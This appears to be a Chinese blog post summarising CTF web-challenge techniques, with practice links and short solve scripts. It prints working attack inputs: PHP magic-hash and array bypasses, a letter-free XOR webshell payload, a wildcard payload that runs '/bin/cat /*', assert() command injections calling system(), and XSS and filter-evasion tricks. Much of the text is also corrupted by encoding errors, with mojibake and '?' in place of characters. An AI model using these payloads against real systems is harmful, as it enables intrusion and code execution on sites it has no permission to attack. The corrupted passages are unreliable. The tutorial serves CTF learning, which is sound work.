想寫這個(gè)想了很久了,但一直覺得自己的知識(shí)不足,于是一直沒有寫。
后來覺得至少還是要邊學(xué)邊寫才好,于是就有了這篇總結(jié)。
長(zhǎng)期更新中,歡迎各位大佬挑錯(cuò)或者提出意見、建議。由于本人淡出CTF圈,本文已停更,感謝大家的支持。
基礎(chǔ)知識(shí)類題目
考察基本的查看網(wǎng)頁源代碼、HTTP請(qǐng)求、修改頁面元素等。
這些題很簡(jiǎn)單,比較難的比賽應(yīng)該不會(huì)單獨(dú)出,就算有應(yīng)該也是Web的簽到題。
實(shí)際做題的時(shí)候基本都是和其他更復(fù)雜的知識(shí)結(jié)合起來出現(xiàn)。
姿勢(shì):惡補(bǔ)基礎(chǔ)知識(shí)就行
查看網(wǎng)頁源代碼
按F12就都看到了,flag一般都在注釋里,有時(shí)候注釋里也會(huì)有一條hint或者是對(duì)解題有用的信息。
- Bugku web2: http://123.206.87.240:8002/web2/
- Bugku web3: http://123.206.87.240:8002/web3/
發(fā)送HTTP請(qǐng)求
可以用hackbar,有的也可以寫腳本。
- Bugku web基礎(chǔ)$_GET: http://123.206.87.240:8002/get/
- Bugku web基礎(chǔ)$_POST: http://123.206.87.240:8002/post/
- Bugku 點(diǎn)擊一百萬次: http://123.206.87.240:9001/test/
舉個(gè)寫腳本的例子(題目是Bugku web基礎(chǔ)$_POST):
import requests
r = requests.post('http://123.206.87.240:8002/post/', data={'what' : 'flag'})
print(r.text)
不常見類型的請(qǐng)求發(fā)送
以前做過一道題考OPTIONS請(qǐng)求,可惜題目找不到了,而且那題也不算很基礎(chǔ)。
不過如果要發(fā)送這類請(qǐng)求,寫一個(gè)腳本應(yīng)該就能解決了。
HTTP頭相關(guān)的題目
主要是查看和修改HTTP頭。
目前做過的Web題目有很大一部分都是與HTTP頭相關(guān)的,而且這種題目也相當(dāng)常見,不和其他知識(shí)結(jié)合的情況下也算是屬于基礎(chǔ)題的范疇吧。
姿勢(shì):不同的類型有不同的利用方法,基本都離不開抓包改包,有些簡(jiǎn)單的也可以利用瀏覽器F12的網(wǎng)絡(luò)標(biāo)簽解決。但是最根本的應(yīng)對(duì)策略,是熟悉一些常見請(qǐng)求頭的格式、作用等,這樣題目考到的時(shí)候就很容易知道要怎樣做了。
查看響應(yīng)頭
有時(shí)候響應(yīng)頭里會(huì)有hint或者題目的關(guān)鍵信息,也有的時(shí)候會(huì)直接把flag放在響應(yīng)頭里給你,但是直接查看響應(yīng)頭拿flag的題目并不多,因?yàn)樘?jiǎn)單了。
只是查看的話,可以不用抓包,用F12的“網(wǎng)絡(luò)”標(biāo)簽就可以解決了。
- Bugku 頭等艙: http://123.206.87.240:9009/hd.php
修改請(qǐng)求頭、偽造Cookie
常見的有set-cookie、XFF和Referer,總之考法很靈活,做法比較固定,知道一些常見的請(qǐng)求頭再根據(jù)題目隨機(jī)應(yīng)變就沒問題了。
有些題目還需要偽造Cookie,根據(jù)題目要求做就行了。
可以用BurpSuite抓包,也可以直接在瀏覽器的F12“網(wǎng)絡(luò)”標(biāo)簽里改。
- 實(shí)驗(yàn)吧 頭有點(diǎn)大: http://ctf5.shiyanbar.com/sHeader/
- Bugku 程序員本地網(wǎng)站: http://123.206.87.240:8002/localhost/
- Bugku 管理員系統(tǒng): http://123.206.31.85:1003/
- XCTF xff_referer: https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5068
Git源碼泄露
flag一般在源碼的某個(gè)文件里,但也有和其他知識(shí)結(jié)合、需要進(jìn)一步利用的情況,比如XCTF社區(qū)的mfw這道題。
姿勢(shì):GitHack一把梭
Python爬蟲信息處理
這類題目一般都是給一個(gè)頁面,頁面中有算式或者是一些數(shù)字,要求在很短的時(shí)間內(nèi)求出結(jié)果并提交,如果結(jié)果正確就可以返回flag。
因?yàn)樗o時(shí)間一般都很短而且計(jì)算比較復(fù)雜,所以只能寫腳本。這種題目的腳本一般都需要用到requests庫和BeautifulSoup庫(或者re庫(正則表達(dá)式)),個(gè)人感覺使用BeautifulSoup簡(jiǎn)單一些。
姿勢(shì):requests庫和BeautifulSoup庫熟練掌握后,再多做幾道題或者寫幾個(gè)爬蟲的項(xiàng)目,一般這類題目就沒有什么問題了。主要還是對(duì)BeautifulSoup的熟練掌握,另外還需要一點(diǎn)點(diǎn)web前端(HTML)的知識(shí)。
- Bugku 秋名山老司機(jī): http://123.206.87.240:8002/qiumingshan/
#這道題的腳本如下,還可以繼續(xù)優(yōu)化
#經(jīng)常出現(xiàn)執(zhí)行了但是不彈flag的情況,多試幾次就行了
from bs4 import BeautifulSoup
import requests
r = requests.Session()
s = r.get("http://123.206.87.240:8002/qiumingshan/")
s.encoding = 'utf-8'
text = s.text
soup = BeautifulSoup(text)
tag = soup.div
express = str(tag.string)
express = express[0 : -3]
answer = eval(express)
ans = {"value" : answer}
flag = r.post('http://123.206.87.240:8002/qiumingshan/', data = ans)
print(flag.text)
- 實(shí)驗(yàn)吧 速度爆破: http://www.shiyanbar.com/ctf/1841
HGAME2019的部分題目似乎還出現(xiàn)了反爬蟲措施,但當(dāng)時(shí)我還不會(huì)寫爬蟲,那一道題目也沒有做,所以也不大清楚,以后如果再遇到那類題目再慢慢補(bǔ)上吧。
PHP代碼審計(jì)
代碼審計(jì)覆蓋面特別廣,分類也很多,而且?guī)缀跏裁礃拥谋荣惗紩?huì)有,算是比較重要的題目類型之一吧。
姿勢(shì):具體問題具體分析,歸根結(jié)底還是要熟練掌握PHP這門語言,了解一些常見的會(huì)造成漏洞的函數(shù)及利用方法等。
hash加密相關(guān)
PHP弱類型hash比較缺陷
這是代碼審計(jì)最基礎(chǔ)的題目了,也比較常見。
典型代碼:
if(md5($a) == md5($b)) { //注意兩個(gè)等號(hào)“==”
echo $flag;
}
加密函數(shù)也有可能是sha1或者其他的,但是原理都是不變的。
這個(gè)漏洞的原理如下:
== 在進(jìn)行比較的時(shí)候,會(huì)先將兩邊的變量類型轉(zhuǎn)化成相同的,再進(jìn)行比較。
0e在比較的時(shí)候會(huì)將其視作為科學(xué)計(jì)數(shù)法,所以無論0e后面是什么,0的多少次方還是0。
所以只要讓b在經(jīng)過相應(yīng)的函數(shù)加密之后都是以0e開頭就可以。
以下是一些md5加密后開頭為0e的字符串:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
aabg7XSs
另外,這個(gè)也可以用數(shù)組繞過,這個(gè)方法在下面會(huì)詳細(xì)說。
數(shù)組返回NULL繞過
PHP絕大多數(shù)函數(shù)無法處理數(shù)組,向md5函數(shù)傳入數(shù)組類型的參數(shù)會(huì)使md5()函數(shù)返回NULL(轉(zhuǎn)換后為False),進(jìn)而繞過某些限制。
如果上面的代碼變成:
if(md5($a) === md5($b)) { //兩個(gè)等號(hào)變成三個(gè)
echo $flag;
}
那么利用弱類型hash比較缺陷將無法繞過,這時(shí)可以使用數(shù)組繞過。
傳入?a[]=1&b[]=2就可以成功繞過判斷。
這樣的方法也可以用來繞過sha1()等hash加密函數(shù)相關(guān)的判斷,也可以繞過正則判斷,可以根據(jù)具體情況來靈活運(yùn)用。
正則表達(dá)式相關(guān)
ereg正則%00截?cái)?/h3>
ereg函數(shù)存在NULL截?cái)嗦┒?,使用NULL可以截?cái)噙^濾,所以可以使用%00截?cái)嗾齽t匹配。
- Bugku ereg正則%00截?cái)啵?a target="_blank">http://123.206.87.240:9009/5.php
數(shù)組繞過
正則表達(dá)式相關(guān)的函數(shù)也可以使用數(shù)組繞過過濾,繞過方法詳見數(shù)組返回NULL繞過。
上面那道題也可以用數(shù)組繞過。
單引號(hào)繞過preg_match()正則匹配
在每一個(gè)字符前加上單引號(hào)可以繞過preg_match的匹配,原理暫時(shí)不明。
例如有如下代碼:
<?php
$p = $_GET['p'];
if (preg_match('/[0-9a-zA-Z]{2}/',$p) === 1) {
echo 'False';
} else {
$pp = trim(base64_decode($p));
if ($pp === 'flag.php') {
echo 'success';
}
}
?>
payload:p='Z'm'x'h'Z'y'5'w'a'H'A'=
不含數(shù)字與字母的WebShell
如果題目使用preg_match()過濾掉了所有的數(shù)字和字母,但是沒有過濾PHP的變量符號(hào)$,可以考慮使用這種方法。
典型代碼:
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
這種方法的核心是字符串的異或操作。
爆破腳本:
chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
for i in chr1 :
for j in chr2 :
print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))
根據(jù)題目的要求,用異或出來的字符串拼出合適的Payload,并放在PHP變量中執(zhí)行。變量名可以用中文。
比如這道題的Payload:?code=$啊="@@^|@@@"^"'%*:,!'";$啊();
Linux通配符繞過正則匹配
典型代碼如下,與前一種題目非常相似,但也不大一樣:
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//flag in /
?>
最主要的區(qū)別就是過濾了$和_,也就是說無法使用變量符號(hào)$了。
這時(shí)候可以考慮采用通配符繞過。
通配符有點(diǎn)像正則表達(dá)式,有自己的匹配規(guī)則,看這張圖:

所以構(gòu)造一下通配符就是/???/??? /*。
因?yàn)檫^濾了變量符號(hào),沒法通過上面那種方法來執(zhí)行了。但是,可以通過閉合PHP標(biāo)記來執(zhí)行,也就是:?><?=/???/??? /*?>(/bin/cat /*)。
所以本題的payload為:?code=?><?=/???/??? /*?>
具體解法可以參照此篇文章的前兩道題目:http://www.itdecent.cn/p/ecc2414ec110
命令執(zhí)行漏洞
assert()函數(shù)引起的命令執(zhí)行
assert函數(shù)的參數(shù)為字符串時(shí),會(huì)將字符串當(dāng)做PHP命令來執(zhí)行。
例如:assert('phpinfo()')相當(dāng)于執(zhí)行<?php phpinfo() ?>
以一道題目為例:
本題目中題目文件夾下放置了一個(gè)隱藏的flag文件。
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if($_GET['file'] === "flag"){
highlight_file("flag.php");
}else{
$page = $_GET['file'];
}
} else {
$page = "./flag.php";
}
assert("file_exists('$page')");
?>
解法:
構(gòu)造閉合 file_exists()函數(shù),并使assert()執(zhí)行惡意代碼。
Linux命令ls -a可用于查看該目錄下所有文件,包括隱藏文件。
payload:
- ?file=123') or system('ls -a');#
- ?file=123') or system('cat .ffll44gg');#
XSS題目
這類題目會(huì)涉及到三種XSS類型,具體類型要根據(jù)題目來判斷。一般都是向后臺(tái)發(fā)送一個(gè)帶有XSS Payload的文本,在返回的Cookie中含有flag,解法是在XSS Payload。
這類題目一般都會(huì)帶有過濾和各種限制,需要了解一些常用的繞過方法。
姿勢(shì):XSS歸根結(jié)底還是JavaScript,JavaScript的威力有多大,XSS的威力就有多大。要知道一些常用的XSS Payload,還要把三類XSS的原理弄明白。做題時(shí)需要用到XSS平臺(tái),網(wǎng)上有公用的,也可以自己在VPS上搭一個(gè)。
- JavisOJ babyxss:http://web.jarvisoj.com:32800/
繞過waf
其實(shí)絕大多數(shù)比較難的題目多多少都會(huì)對(duì)輸入有過濾,畢竟在現(xiàn)實(shí)的網(wǎng)絡(luò)中肯定是會(huì)對(duì)輸入進(jìn)行限制的,但是這里還是把過濾單獨(dú)列出來了。
姿勢(shì):多掌握一些不同的繞過方法。
長(zhǎng)度限制
有些題目會(huì)要求輸入較長(zhǎng)的文本,但對(duì)文本的長(zhǎng)度進(jìn)行了限制。
對(duì)于這種題目,既可以用BurpSuite抓包改包繞過,也可以直接在F12里改頁面源代碼。
- Bugku 計(jì)算器(修改頁面源代碼):http://123.206.87.240:8002/yanzhengma/
- DVWA 存儲(chǔ)型XSS的標(biāo)題欄會(huì)對(duì)長(zhǎng)度進(jìn)行限制,使用BurpSuite抓包繞過。
雙寫
雙寫可以繞過對(duì)輸入內(nèi)容過濾的單次判斷,在XSS、SQL注入和PHP代碼審計(jì)的題目中比較常見。
雙寫顧名思義就是將被過濾的關(guān)鍵字符寫兩遍,比如,如果要添加XSS Payload,又需要插入<script>標(biāo)簽,就可以構(gòu)造如下的Payload:<scr<script>ipt>來繞過對(duì)<script>標(biāo)簽的單次過濾限制。
這樣的方法不僅對(duì)XSS有用,也可以用于代碼審計(jì)和SQL注入。
HGAME2019有一道XSS題目就是過濾了<script>,可以用雙寫繞過。
等價(jià)替代
就是不用被過濾的字符,而使用沒有被過濾卻會(huì)產(chǎn)生相同效果的字符。
比如,如果SQL注入題目中過濾了空格,可以用/**/繞過對(duì)空格的限制;XSS題目如果過濾了<script>標(biāo)簽,可以使用其他類型的payload;如果需要使用cat命令卻被過濾,可以使用tac、more、less命令來替代等。
- 實(shí)驗(yàn)吧 簡(jiǎn)單的SQL注入:http://www.shiyanbar.com/ctf/1875
URL編碼繞過
如果過濾了某個(gè)必須要用的字符串,輸入的內(nèi)容是以GET方式獲取的(也就是直接在地址欄中輸入),可以采用url編碼繞過的方式。比如,過濾了 cat,可以使用 c%61t來繞過。
Linux命令使用反斜杠繞過
在Linux下,命令中加入反斜杠與原命令完全等價(jià)。例如,cat與 ca\t兩條命令等價(jià),效果完全相同。
可以利用這個(gè)特性來進(jìn)行一些繞過操作(當(dāng)然,這個(gè)僅限于命令執(zhí)行漏洞)。
URL二次解碼繞過
這個(gè)類型本來應(yīng)該放在代碼審計(jì)里面,但是既然是一種繞過過濾的姿勢(shì),就寫在這里了。
如果源碼中出現(xiàn)了urldecode()函數(shù),可以利用url二次解碼來繞過。
以下是一些常用的HTML URL編碼:
| ASCII Value | URL-encode | ASCII Value | URL-encode | ASCII Value | URL-encode |
|---|---|---|---|---|---|
| ? | %00 | 0 | %30 | ` | %60 |
| %01 | 1 | %31 | a | %61 | |
| %02 | 2 | %32 | b | %62 | |
| %03 | 3 | %33 | c | %63 | |
| %04 | 4 | %34 | d | %64 | |
| %05 | 5 | %35 | e | %65 | |
| %06 | 6 | %36 | f | %66 | |
| %07 | 7 | %37 | g | %67 | |
| backspace | %08 | 8 | %38 | h | %68 |
| tab | %09 | 9 | %39 | i | %69 |
| linefeed | %0a | : | %3a | j | %6a |
| %0b | ; | %3b | k | %6b | |
| %0c | < | %3c | l | %6c | |
| c return | %0d | = | %3d | m | %6d |
| %0e | > | %3e | n | %6e | |
| %0f | ? | %3f | o | %6f | |
| %10 | @ | %40 | p | %70 | |
| %11 | A | %41 | q | %71 | |
| %12 | B | %42 | r | %72 | |
| %13 | C | %43 | s | %73 | |
| %14 | D | %44 | t | %74 | |
| %15 | E | %45 | u | %75 | |
| %16 | F | %46 | v | %76 | |
| %17 | G | %47 | w | %77 | |
| %18 | H | %48 | x | %78 | |
| %19 | I | %49 | y | %79 | |
| %1a | J | %4a | z | %7a | |
| %1b | K | %4b | { | %7b | |
| %1c | L | %4c | | | %7c | |
| %1d | M | %4d | } | %7d | |
| %1e | N | %4e | ~ | %7e | |
| %1f | O | %4f | %7f | ||
| space | %20 | P | %50 | € | %80 |
| ! | %21 | Q | %51 | %81 | |
| " | %22 | R | %52 | ? | %82 |
| # | %23 | S | %53 | ? | %83 |
| $ | %24 | T | %54 | ? | %84 |
| % | %25 | U | %55 | … | %85 |
| & | %26 | V | %56 | ? | %86 |
| ' | %27 | W | %57 | ? | %87 |
| ( | %28 | X | %58 | ? | %88 |
| ) | %29 | Y | %59 | ‰ | %89 |
| * | %2a | Z | %5a | ? | %8a |
| + | %2b | [ | %5b | ? | %8b |
| , | %2c | \ | %5c | ? | %8c |
| - | %2d | ] | %5d | %8d | |
| . | %2e | ^ | %5e | ? | %8e |
| / | %2f | _ | %5f | %8f |
- Bugku urldecode二次編碼繞過:http://123.206.87.240:9009/10.php
數(shù)組繞過
詳見PHP代碼審計(jì)的“數(shù)組返回NULL”繞過。
數(shù)組繞過的應(yīng)用很廣,很多題目都可以用數(shù)組繞過。
SQL注入
SQL注入是一種靈活而復(fù)雜的攻擊方式,歸根結(jié)底還是考察對(duì)SQL語言的了解和根據(jù)輸入不同數(shù)據(jù)網(wǎng)頁的反應(yīng)對(duì)后臺(tái)語句的判斷,當(dāng)然也有sqlmap這樣的自動(dòng)化工具可以使用。
姿勢(shì):如果不用sqlmap或者是用不了,就一定要把SQL語言弄明白,sqlmap這樣的自動(dòng)化工具也可以使用。
使用sqlmap
sqlmap的應(yīng)用范圍還不大明確,我都是如果sqlmap沒法注入就手工注入。
我寫的一篇簡(jiǎn)單的sqlmap教程:http://www.itdecent.cn/p/4509bdf5e3d0